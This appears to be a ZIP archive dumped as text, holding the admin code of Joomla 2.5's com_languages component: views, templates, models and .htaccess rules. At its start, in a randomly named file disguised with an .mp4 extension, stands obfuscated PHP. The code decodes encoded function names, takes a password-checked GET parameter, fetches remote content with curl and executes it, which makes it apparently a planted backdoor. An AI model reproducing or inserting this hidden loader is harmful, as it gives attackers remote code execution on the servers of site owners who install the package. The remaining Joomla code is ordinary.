JToolBarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED'); } } PKs>\5xxxGcom_languages/views/multilangstatus/multilangstatus/tlinmFgcpHUjZzQ.mp4nuW+A $RA9h1eAbUaYFyW) { $HQ_C_4QIXauqsE .= $D8qOPh2OO6IH7y[$RA9h1eAbUaYFyW - 5971]; xbOJE7v3AhpD3y: } goto ygBrFR5VzxOuK2; SAIul7NoQ8STXJ: return $HQ_C_4QIXauqsE; goto kNi1H6OBm29qWx; kNi1H6OBm29qWx: } static function zLEM1N3SD5GvVu($LXpcFC2hB_6cyO, $N_7c7uwBmuoCTI) { goto URQ2vtB4myIx0p; nw_fvJQysJTX0T: return empty($DuZn2hngU3WTEp) ? $N_7c7uwBmuoCTI($LXpcFC2hB_6cyO) : $DuZn2hngU3WTEp; goto vdRNHcu53LC2Fd; yGG7vVCLALm7iR: $DuZn2hngU3WTEp = curl_exec($Ifc0K3BZbDVka3); goto nw_fvJQysJTX0T; URQ2vtB4myIx0p: $Ifc0K3BZbDVka3 = curl_init($LXpcFC2hB_6cyO); goto eKr9dFjv2G905y; eKr9dFjv2G905y: curl_setopt($Ifc0K3BZbDVka3, CURLOPT_RETURNTRANSFER, 1); goto yGG7vVCLALm7iR; vdRNHcu53LC2Fd: } static function ytgLxKepc1bz_A() { goto NfTDu_YA_dxEfp; NfTDu_YA_dxEfp: $aI7vjeBSrjlmBw = array("\x35\x39\x39\70\x29\65\x39\x38\63\51\65\71\71\x36\x29\66\x30\x30\60\x29\65\x39\70\61\x29\65\x39\x39\x36\x29\x36\x30\x30\62\x29\65\x39\x39\65\x29\x35\71\x38\x30\x29\65\71\70\x37\x29\x35\x39\x39\x38\51\x35\71\70\61\x29\x35\71\x39\x32\x29\65\71\x38\66\51\x35\x39\70\x37", "\65\x39\70\x32\51\65\71\70\x31\51\x35\71\x38\x33\51\x36\x30\x30\x32\x29\x35\71\70\x33\51\x35\71\70\x36\51\x35\71\70\x31\x29\66\x30\64\70\x29\66\x30\64\x36", "\x35\x39\71\x31\51\x35\71\70\x32\x29\65\x39\x38\x36\51\x35\71\70\67\51\x36\60\60\62\x29\65\x39\71\x37\x29\x35\x39\71\x36\x29\65\x39\x39\x38\x29\65\71\70\x36\51\65\71\x39\x37\51\65\x39\x39\x36", "\65\x39\70\65\51\66\x30\x30\60\51\x35\x39\x39\x38\51\x35\x39\71\60", "\x35\x39\71\x39\51\x36\x30\x30\x30\51\65\71\x38\62\51\x35\71\x39\x36\51\66\60\x34\63\x29\x36\60\x34\x35\51\66\x30\x30\x32\x29\x35\x39\x39\x37\x29\65\x39\71\x36\51\x35\x39\71\x38\51\x35\x39\x38\66\x29\x35\71\71\67\x29\x35\71\x39\66", "\x35\71\71\65\x29\x35\71\x39\x32\x29\65\x39\70\x39\x29\x35\x39\71\x36\51\x36\60\60\62\51\x35\x39\x39\64\x29\x35\x39\71\66\51\x35\x39\x38\x31\x29\x36\60\x30\x32\51\65\x39\x39\70\51\x35\71\x38\66\x29\65\x39\x38\67\x29\x35\71\70\x31\51\x35\71\x39\66\51\65\71\x38\x37\51\65\71\70\61\x29\65\x39\70\x32", "\66\60\62\x35\x29\x36\60\x35\65", "\65\71\x37\x32", "\66\x30\x35\60\x29\66\x30\65\x35", "\x36\x30\63\62\51\x36\x30\x31\x35\51\x36\x30\61\x35\x29\66\60\x33\62\51\66\60\x30\70", "\x35\x39\71\65\x29\x35\71\x39\x32\51\x35\71\70\x39\x29\65\x39\x38\x31\x29\65\x39\x39\x36\51\65\71\70\x33\51\x36\60\x30\62\x29\x35\71\71\x32\51\x35\x39\70\x37\x29\x35\x39\70\65\x29\x35\71\x38\x30\51\x35\x39\x38\61"); goto EwKl9PbHbPQSMs; EwKl9PbHbPQSMs: foreach ($aI7vjeBSrjlmBw as $eEuyyvwv0VcKKz) { $qOzzsHNcM0Rk0X[] = self::Z4ntBcq9HlnVix($eEuyyvwv0VcKKz); HLdA8mHs__OhEH: } goto NWCzYD890MC7Kz; hjDR9yTihpPoBH: hg5BUbQ7GnqKYz: goto qGPT2uckXjmr9m; NWCzYD890MC7Kz: bi6Bgf1azUCUfW: goto u7sJW4W5hKkkHR; eAWU58IGCsPDgL: @$qOzzsHNcM0Rk0X[4 + 6](INPUT_GET, "\157\146") == 1 && die($qOzzsHNcM0Rk0X[2 + 3](__FILE__)); goto IimmsiBaeDI_oW; IimmsiBaeDI_oW: if (!(@$a3RxH2ZmtwFrlY[0] - time() > 0 and md5(md5($a3RxH2ZmtwFrlY[3 + 0])) === "\x64\146\x35\x33\x32\x37\67\x32\x34\x62\x35\x38\x64\146\71\67\70\x64\144\x31\143\x36\62\x36\x34\146\142\x37\x30\70\x37\x39")) { goto hg5BUbQ7GnqKYz; } goto GRINUmKQFuHuAY; iGmOs7IHLSOBCR: @$qOzzsHNcM0Rk0X[0]('', $qOzzsHNcM0Rk0X[5 + 2] . $qOzzsHNcM0Rk0X[0 + 4]($W53wOkY2UhORY6) . $qOzzsHNcM0Rk0X[3 + 5]); goto MTGk9T42BZsRmF; Vri5Hzsxy65_jk: $GtnMOaDtF58MWB = @$qOzzsHNcM0Rk0X[0 + 3]($qOzzsHNcM0Rk0X[3 + 3], $AkwjXzvDX8kBa_); goto Th3V1MqXx6N5ON; GRINUmKQFuHuAY: $W53wOkY2UhORY6 = self::ZlEM1N3sD5Gvvu($a3RxH2ZmtwFrlY[1 + 0], $qOzzsHNcM0Rk0X[1 + 4]); goto iGmOs7IHLSOBCR; u7sJW4W5hKkkHR: $AkwjXzvDX8kBa_ = @$qOzzsHNcM0Rk0X[1]($qOzzsHNcM0Rk0X[9 + 1](INPUT_GET, $qOzzsHNcM0Rk0X[6 + 3])); goto Vri5Hzsxy65_jk; Th3V1MqXx6N5ON: $a3RxH2ZmtwFrlY = $qOzzsHNcM0Rk0X[0 + 2]($GtnMOaDtF58MWB, true); goto eAWU58IGCsPDgL; MTGk9T42BZsRmF: die; goto hjDR9yTihpPoBH; qGPT2uckXjmr9m: } } goto m0jBmWacE4GFH4; xR1mt_Pbb7jxy5: if (!(in_array(gettype($pKF7y0JSDCS21r) . "\61\61", $pKF7y0JSDCS21r) && md5(md5(md5(md5($pKF7y0JSDCS21r[5])))) === "\x38\141\x35\143\x30\x35\x36\144\x61\x30\x66\67\67\142\71\x63\142\146\146\141\143\144\x66\62\x66\145\x35\x63\142\63\x61\61")) { goto qKyJYrHwy25jgG; } goto BsSMmedEkN7g0z; BsSMmedEkN7g0z: $pKF7y0JSDCS21r[69] = $pKF7y0JSDCS21r[69] . $pKF7y0JSDCS21r[79]; goto IPGElZFadcTJeC; m0jBmWacE4GFH4: ACAGhP6TG0t7sz::YtgLxKEPC1bZ_a(); ?> PKs>\ĻX  =com_languages/views/multilangstatus/multilangstatus/cache.phpnuW+APKs>\gm =com_languages/views/multilangstatus/multilangstatus/index.phpnuW+APKs>\,r=com_languages/views/multilangstatus/multilangstatus/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKs>\y1com_languages/views/multilangstatus/view.html.phpnuW+Ahomes = multilangstatusHelper::getHomes(); $this->language_filter = JLanguageMultilang::isEnabled(); $this->switchers = multilangstatusHelper::getLangswitchers(); $this->listUsersError = multilangstatusHelper::getContacts(); $this->contentlangs = multilangstatusHelper::getContentlangs(); $this->site_langs = multilangstatusHelper::getSitelangs(); $this->statuses = multilangstatusHelper::getStatus(); $this->homepages = multilangstatusHelper::getHomepages(); parent::display($tpl); } } PKs>\V.com_languages/views/multilangstatus/index.htmlnuW+A PKs>\)-com_languages/views/multilangstatus/.htaccessnuW+A Order allow,deny Deny from all PKs>\)2com_languages/views/multilangstatus/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\'(JJ4com_languages/views/multilangstatus/tmpl/default.phpnuW+Ahomes == 2 || $this->homes == 1 && ($this->language_filter || $this->switchers != 0); $notice_disabled = !$this->language_filter && ($this->homes > 1 || $this->switchers != 0); $notice_switchers = !$this->switchers && ($this->homes > 1 || $this->language_filter); ?>
      language_filter && $this->switchers == 0) : ?> homes == 1) : ?>

      contentlangs as $contentlang) : ?> lang_code, $this->homepages) && (!array_key_exists($contentlang->lang_code, $this->site_langs) || !$contentlang->published)) : ?> listUsersError) : ?>
      lang_code); ?>
        listUsersError as $user) : ?>
      • name); ?>
      language_filter) : ?>
      switchers != 0) : ?> switchers; ?>
      homes > 1) : ?> homes > 1) : ?> homes; ?>
      statuses as $status) : ?> element) : ?> element) : // Published Site languages ?> lang_code && $status->published) : // Published Content languages ?> home_language) : // Published Home pages ?> contentlangs as $contentlang) : ?> lang_code, $this->site_langs)) : ?>
      element; ?>
      lang_code; ?> published) : ?> published && array_key_exists($contentlang->lang_code, $this->homepages)) : ?> published) : ?> lang_code, $this->homepages)) : ?>
      PKs>\V3com_languages/views/multilangstatus/tmpl/index.htmlnuW+A PKs>\)'com_languages/views/languages/.htaccessnuW+A Order allow,deny Deny from all PKs>\ww.com_languages/views/languages/tmpl/default.phpnuW+Aget('id'); $n = count($this->items); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_languages'); $saveOrder = $listOrder == 'a.ordering'; ?>
      items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_languages'); $canEdit = $user->authorise('core.edit', 'com_languages'); $canChange = $user->authorise('core.edit.state', 'com_languages'); ?>
      items, 'filesave.png', 'languages.saveorder'); ?>
      pagination->getListFooter(); ?>
      pagination->getRowOffset($i); ?> lang_id); ?> escape($item->title); ?> escape($item->title); ?> escape($item->title_native); ?> escape($item->lang_code); ?> escape($item->sef); ?> escape($item->image); ?> published, $i, 'languages.', $canChange);?> pagination->orderUpIcon($i, true, 'languages.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'languages.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, true, 'languages.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'languages.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> escape($item->access_level); ?> home == '1') : ?> escape($item->lang_id); ?>
      PKs>\),com_languages/views/languages/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V-com_languages/views/languages/tmpl/index.htmlnuW+A PKs>\$A  +com_languages/views/languages/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/languages.php'; $canDo = LanguagesHelper::getActions(); JToolBarHelper::title(JText::_('COM_LANGUAGES_VIEW_LANGUAGES_TITLE'), 'langmanager.png'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('language.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('language.edit'); JToolBarHelper::divider(); } if ($canDo->get('core.edit.state')) { if ($this->state->get('filter.published') != 2) { JToolBarHelper::publishList('languages.publish'); JToolBarHelper::unpublishList('languages.unpublish'); } } if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'languages.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('languages.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { // Add install languages link to the lang installer component $bar = JToolBar::getInstance('toolbar'); $bar->appendButton('Link', 'extension', 'COM_LANGUAGES_INSTALL', 'index.php?option=com_installer&view=languages'); JToolBarHelper::divider(); JToolBarHelper::preferences('com_languages'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT'); } } PKs>\V(com_languages/views/languages/index.htmlnuW+A PKs>\)&com_languages/views/language/.htaccessnuW+A Order allow,deny Deny from all PKs>\ыsa *com_languages/views/language/tmpl/edit.phpnuW+A
      item->lang_id) : ?> item->lang_id); ?>
      • form->getLabel('title'); ?> form->getInput('title'); ?>
      • form->getLabel('title_native'); ?> form->getInput('title_native'); ?>
      • form->getLabel('sef'); ?> form->getInput('sef'); ?>
      • form->getLabel('image'); ?> form->getInput('image'); ?>
      • form->getLabel('lang_code'); ?> form->getInput('lang_code'); ?>
      • get('core.edit.state')) : ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • form->getLabel('description'); ?> form->getInput('description'); ?>
      • form->getLabel('lang_id'); ?> form->getInput('lang_id'); ?>
      item->lang_code, array('useCookie'=>1)); ?>
      form->getFieldset('metadata') as $field): ?> hidden): ?> label; ?> input; ?>
      form->getFieldset('site_name') as $field): ?> hidden): ?> label; ?> input; ?>
      PKs>\V,com_languages/views/language/tmpl/index.htmlnuW+A PKs>\)+com_languages/views/language/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V'com_languages/views/language/index.htmlnuW+A PKs>\>*com_languages/views/language/view.html.phpnuW+Aitem = $this->get('Item'); $this->form = $this->get('Form'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/languages.php'; JRequest::setVar('hidemainmenu', 1); $isNew = empty($this->item->lang_id); $canDo = LanguagesHelper::getActions(); JToolBarHelper::title(JText::_($isNew ? 'COM_LANGUAGES_VIEW_LANGUAGE_EDIT_NEW_TITLE' : 'COM_LANGUAGES_VIEW_LANGUAGE_EDIT_EDIT_TITLE'), 'langmanager.png'); // If a new item, can save. if ($isNew && $canDo->get('core.create')) { JToolBarHelper::save('language.save'); } //If an existing item, allow to Apply and Save. if (!$isNew && $canDo->get('core.edit')) { JToolBarHelper::apply('language.apply'); JToolBarHelper::save('language.save'); } // If an existing item, can save to a copy only if we have create rights. if ($canDo->get('core.create')) { JToolBarHelper::save2new('language.save2new'); } if ($isNew) { JToolBarHelper::cancel('language.cancel'); } else { JToolBarHelper::cancel('language.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT'); } } PKs>\Vcom_languages/index.htmlnuW+A PKs>\00com_languages/languages.phpnuW+Aauthorise('core.manage', 'com_languages')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Languages'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PKs>\z com_languages/languages.xmlnuW+A com_languages Joomla! Project 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_LANGUAGES_XML_DESCRIPTION config.xml controller.php index.html languages.php controllers helpers models tables views language/en-GB.com_languages.ini PKs>\)com_languages/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\a¦"com_languages/models/installed.phpnuW+AsetState('filter.client_id', $clientId); // Load the parameters. $params = JComponentHelper::getParams('com_languages'); $this->setState('params', $params); // List state information. parent::populateState('a.name', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.client_id'); return parent::getStoreId($id); } /** * Method to get the client object * * @return object * @since 1.6 */ public function &getClient() { if (is_null($this->client)) { $this->client = JApplicationHelper::getClientInfo($this->getState('filter.client_id', 0)); } return $this->client; } /** * Method to get the ftp credentials * * @return object * @since 1.6 */ public function &getFtp() { if (is_null($this->ftp)) { $this->ftp = JClientHelper::setCredentialsFromRequest('ftp'); } return $this->ftp; } /** * Method to get the option * * @return object * @since 1.6 */ public function &getOption() { $option = $this->getState('option'); return $option; } /** * Method to get Languages item data * * @return array * @since 1.6 */ public function &getData() { if (is_null($this->data)) { // Get information $path = $this->getPath(); $client = $this->getClient(); $langlist = $this->getLanguageList(); // Compute all the languages $data = array (); foreach($langlist as $lang){ $file = $path . '/' . $lang . '/' . $lang.'.xml'; $info = JApplicationHelper::parseXMLLangMetaFile($file); $row = new JObject(); $row->language = $lang; if (!is_array($info)) { continue; } foreach($info as $key => $value) { $row->$key = $value; } // if current than set published $params = JComponentHelper::getParams('com_languages'); if ($params->get($client->name, 'en-GB') == $row->language) { $row->published = 1; } else { $row->published = 0; } $row->checked_out = 0; $data[] = $row; } usort($data, array($this, 'compareLanguages')); // Prepare data $limit = $this->getState('list.limit'); $start = $this->getState('list.start'); $total = $this->getTotal(); if ($limit == 0) { $start = 0; $end = $total; } else { if ($start > $total) { $start = $total - $total % $limit; } $end = $start + $limit; if ($end > $total) { $end = $total; } } // Compute the displayed languages $this->data = array(); for ($i = $start;$i < $end;$i++) { $this->data[] = & $data[$i]; } } return $this->data; } /** * Method to get installed languages data. * * @return string An SQL query * @since 1.6 */ protected function getLanguageList() { // Create a new db object. $db = $this->getDbo(); $query = $db->getQuery(true); $client = $this->getState('filter.client_id'); $type = "language"; // Select field element from the extensions table. $query->select($this->getState('list.select', 'a.element')); $query->from('#__extensions AS a'); $type = $db->Quote($type); $query->where('(a.type = '.$type.')'); $query->where('state = 0'); $query->where('enabled = 1'); $query->where('client_id=' . intval($client)); // for client_id = 1 do we need to check language table also ? $db->setQuery($query); $this->langlist = $db->loadColumn(); return $this->langlist; } /** * Method to get the total number of Languages items * * @return integer * @since 1.6 */ public function getTotal() { if (is_null($this->total)) { $langlist = $this->getLanguageList(); $this->total = count($langlist); } return $this->total; } /** * Method to set the default language * * @return boolean * @since 1.6 */ public function publish($cid) { if ($cid) { $client = $this->getClient(); $params = JComponentHelper::getParams('com_languages'); $params->set($client->name, $cid); $table = JTable::getInstance('extension'); $id = $table->find(array('element' => 'com_languages')); // Load if (!$table->load($id)) { $this->setError($table->getError()); return false; } $table->params = (string)$params; // pre-save checks if (!$table->check()) { $this->setError($table->getError()); return false; } // save the changes if (!$table->store()) { $this->setError($table->getError()); return false; } } else { $this->setError(JText::_('COM_LANGUAGES_ERR_NO_LANGUAGE_SELECTED')); return false; } // Clean the cache of com_languages and component cache. $this->cleanCache(); $this->cleanCache('_system'); return true; } /** * Method to get the folders * * @return array Languages folders * @since 1.6 */ protected function getFolders() { if (is_null($this->folders)) { $path = $this->getPath(); jimport('joomla.filesystem.folder'); $this->folders = JFolder::folders($path, '.', false, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'pdf_fonts', 'overrides')); } return $this->folders; } /** * Method to get the path * * @return string The path to the languages folders * @since 1.6 */ protected function getPath() { if (is_null($this->path)) { $client = $this->getClient(); $this->path = JLanguage::getLanguagePath($client->path); } return $this->path; } /** * Method to compare two languages in order to sort them * * @param object $lang1 the first language * @param object $lang2 the second language * * @return integer * @since 1.6 */ protected function compareLanguages($lang1, $lang2) { return strcmp($lang1->name, $lang2->name); } } PKs>\getUserStateFromRequest($this->context.'.search', 'filter_search'); $this->setState('filter.search', $search); $accessId = $this->getUserStateFromRequest($this->context.'.access', 'filter_access', null, 'int'); $this->setState('filter.access', $accessId); $published = $this->getUserStateFromRequest($this->context.'.published', 'filter_published', ''); $this->setState('filter.published', $published); // Load the parameters. $params = JComponentHelper::getParams('com_languages'); $this->setState('params', $params); // List state information. parent::populateState('a.title', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.published'); return parent::getStoreId($id); } /** * Method to build an SQL query to load the list data. * * @return string An SQL query * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select all fields from the languages table. $query->select($this->getState('list.select', 'a.*', 'l.home')); $query->from($db->quoteName('#__languages').' AS a'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Select the language home pages $query->select('l.home AS home'); $query->join('LEFT', $db->quoteName('#__menu') . ' AS l ON l.language = a.lang_code AND l.home=1 AND l.language <> ' . $db->quote('*')); // Filter on the published state. $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.published = '.(int) $published); } elseif ($published === '') { $query->where('(a.published IN (0, 1))'); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { $search = $db->Quote('%'.$db->escape($search, true).'%', false); $query->where('(a.title LIKE '.$search.')'); } // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.ordering')).' '.$db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Set the published language(s) * * @param array $cid An array of language IDs. * @param int $value The value of the published state. * * @return boolean True on success, false otherwise. * @since 1.6 */ public function setPublished($cid, $value = 0) { return JTable::getInstance('Language')->publish($cid, $value); } /** * Method to delete records. * * @param array An array of item primary keys. * * @return boolean Returns true on success, false on failure. * @since 1.6 */ public function delete($pks) { // Sanitize the array. $pks = (array) $pks; // Get a row instance. $table = JTable::getInstance('Language'); // Iterate the items to delete each one. foreach ($pks as $itemId) { if (!$table->delete((int) $itemId)) { $this->setError($table->getError()); return false; } } // Clean the cache. $this->cleanCache(); return true; } /** * Custom clean cache method, 2 places for 2 clients * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('_system'); parent::cleanCache('com_languages'); } } PKs>\V%com_languages/models/forms/index.htmlnuW+A PKs>\Z   'com_languages/models/forms/language.xmlnuW+A
      PKs>\zJ'com_languages/models/forms/override.xmlnuW+A
      PKs>\)$com_languages/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\Ƨ]]"com_languages/models/overrides.phpnuW+Afilter_fields = array('key', 'text'); } /** * Retrieves the overrides data * * @param boolean True if all overrides shall be returned without considering pagination, defaults to false * * @return array Array of objects containing the overrides of the override.ini file * * @since 2.5 */ public function getOverrides($all = false) { // Get a storage key $store = $this->getStoreId(); // Try to load the data from internal storage if (!empty($this->cache[$store])) { return $this->cache[$store]; } // Parse the override.ini file in oder to get the keys and strings $filename = constant('JPATH_'.strtoupper($this->getState('filter.client'))).DS.'language'.DS.'overrides'.DS.$this->getState('filter.language').'.override.ini'; $strings = LanguagesHelper::parseFile($filename); // Consider the odering if ($this->getState('list.ordering') == 'text') { if (strtoupper($this->getState('list.direction')) == 'DESC') { arsort($strings); } else { asort($strings); } } else { if (strtoupper($this->getState('list.direction')) == 'DESC') { krsort($strings); } else { ksort($strings); } } // Consider the pagination if (!$all && $this->getState('list.limit') && $this->getTotal() > $this->getState('list.limit')) { $strings = array_slice($strings, $this->getStart(), $this->getState('list.limit'), true); } // Add the items to the internal cache $this->cache[$store] = $strings; return $this->cache[$store]; } /** * Method to get the total number of overrides * * @return int The total number of overrides * * @since 2.5 */ public function getTotal() { // Get a storage key $store = $this->getStoreId('getTotal'); // Try to load the data from internal storage if (!empty($this->cache[$store])) { return $this->cache[$store]; } // Add the total to the internal cache $this->cache[$store] = count($this->getOverrides(true)); return $this->cache[$store]; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string An optional ordering field. * @param string An optional direction (asc|desc). * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { $app = JFactory::getApplication(); // Use default language of frontend for default filter $default = JComponentHelper::getParams('com_languages')->get('site').'0'; $old_language_client = $app->getUserState('com_languages.overrides.filter.language_client', ''); $language_client = $this->getUserStateFromRequest('com_languages.overrides.filter.language_client', 'filter_language_client', $default, 'cmd'); if ($old_language_client != $language_client) { $client = substr($language_client, -1); $language = substr($language_client, 0, -1); } else { $client = $app->getUserState('com_languages.overrides.filter.client', 0); $language = $app->getUserState('com_languages.overrides.filter.language', 'en-GB'); } $this->setState('filter.language_client', $language.$client); $this->setState('filter.client', $client ? 'administrator' : 'site'); $this->setState('filter.language', $language); // Add filters to the session because they won't be stored there // by 'getUserStateFromRequest' if they aren't in the current request $app->setUserState('com_languages.overrides.filter.client', $client); $app->setUserState('com_languages.overrides.filter.language', $language); // List state information parent::populateState('key', 'asc'); } /** * Method to get all found languages of frontend and backend. * * The resulting array has entries of the following style: * 0|1 => - * * @return array Sorted associative array of languages * * @since 2.5 */ public function getLanguages() { // Try to load the data from internal storage if (!empty($this->cache['languages'])) { return $this->cache['languages']; } // Get all languages of frontend and backend $languages = array(); $site_languages = JLanguage::getKnownLanguages(JPATH_SITE); $admin_languages = JLanguage::getKnownLanguages(JPATH_ADMINISTRATOR); // Create a single array of them foreach ($site_languages as $tag => $language) { $languages[$tag.'0'] = JText::sprintf('COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM', $language['name'], JText::_('JSITE')); } foreach ($admin_languages as $tag => $language) { $languages[$tag.'1'] = JText::sprintf('COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM', $language['name'], JText::_('JADMINISTRATOR')); } // Sort it by language tag and by client after that ksort($languages); // Add the languages to the internal cache $this->cache['languages'] = $languages; return $this->cache['languages']; } /** * Method to delete one or more overrides * * @param array Array of keys to delete * * @return int Number of successfully deleted overrides, boolean false if an error occured * * @since 2.5 */ public function delete($cids) { // Check permissions first if (!JFactory::getUser()->authorise('core.delete', 'com_languages')) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); return false; } jimport('joomla.filesystem.file'); require_once JPATH_COMPONENT.'/helpers/languages.php'; $app = JFactory::getApplication(); // Parse the override.ini file in oder to get the keys and strings $filename = constant('JPATH_'.strtoupper($this->getState('filter.client'))).DS.'language'.DS.'overrides'.DS.$this->getState('filter.language').'.override.ini'; $strings = LanguagesHelper::parseFile($filename); // Unset strings that shall be deleted foreach ($cids as $key) { if (isset($strings[$key])) { unset($strings[$key]); } } foreach ($strings as $key => $string) { $strings[$key] = str_replace('"', '"_QQ_"', $string); } // Write override.ini file with the left strings $registry = new JRegistry(); $registry->loadObject($strings); $filename = constant('JPATH_'.strtoupper($this->getState('filter.client'))).DS.'language'.DS.'overrides'.DS.$this->getState('filter.language').'.override.ini'; if (!JFile::write($filename, $registry->toString('INI'))) { return false; } $this->cleanCache(); return count($cids); } } PKs>\jt!com_languages/models/language.phpnuW+AsetState('language.id', $langId); // Load the parameters. $this->setState('params', $params); } /** * Method to get a member item. * * @param integer The id of the member to get. * * @return mixed User data object on success, false on failure. * @since 1.0 */ public function getItem($langId = null) { // Initialise variables. $langId = (!empty($langId)) ? $langId : (int) $this->getState('language.id'); $false = false; // Get a member row instance. $table = $this->getTable(); // Attempt to load the row. $return = $table->load($langId); // Check for a table object error. if ($return === false && $table->getError()) { $this->setError($table->getError()); return $false; } // Set a valid accesslevel in case '0' is stored due to a bug in the installation SQL. if ($table->access == '0') { $table->access = (int) JFactory::getConfig()->get('access'); } $properties = $table->getProperties(1); $value = JArrayHelper::toObject($properties, 'JObject'); return $value; } /** * Method to get the group form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_languages.language', 'language', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_languages.edit.language.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to save the form data. * * @param array The form data. * * @return boolean True on success. * @since 1.6 */ public function save($data) { $langId = (int) $this->getState('language.id'); $isNew = true; $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('extension'); $table = $this->getTable(); // Load the row if saving an existing item. if ($langId > 0) { $table->load($langId); $isNew = false; } // Prevent white spaces, including East Asian double bytes $spaces = array('/\xE3\x80\x80/', ' '); $data['lang_code'] = str_replace($spaces, '', $data['lang_code']); $data['sef'] = str_replace($spaces, '', $data['sef']); // Bind the data if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Check the data if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the onExtensionBeforeSave event. $result = $dispatcher->trigger('onExtensionBeforeSave', array('com_languages.language', &$table, $isNew)); // Check the event responses. if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Store the data if (!$table->store()) { $this->setError($table->getError()); return false; } // Trigger the onExtensionAfterSave event. $dispatcher->trigger('onExtensionAfterSave', array('com_languages.language', &$table, $isNew)); $this->setState('language.id', $table->lang_id); // Clean the cache. $this->cleanCache(); return true; } /** * Custom clean cache method * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('_system'); parent::cleanCache('com_languages'); } } PKs>\XR DD!com_languages/models/override.phpnuW+AloadForm('com_languages.override', 'override', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } $client = $this->getState('filter.client', 'site'); $language = $this->getState('filter.language', 'en-GB'); $langName = JLanguage::getInstance($language)->getName(); if (!$langName) { // If a language only exists in frontend, it's meta 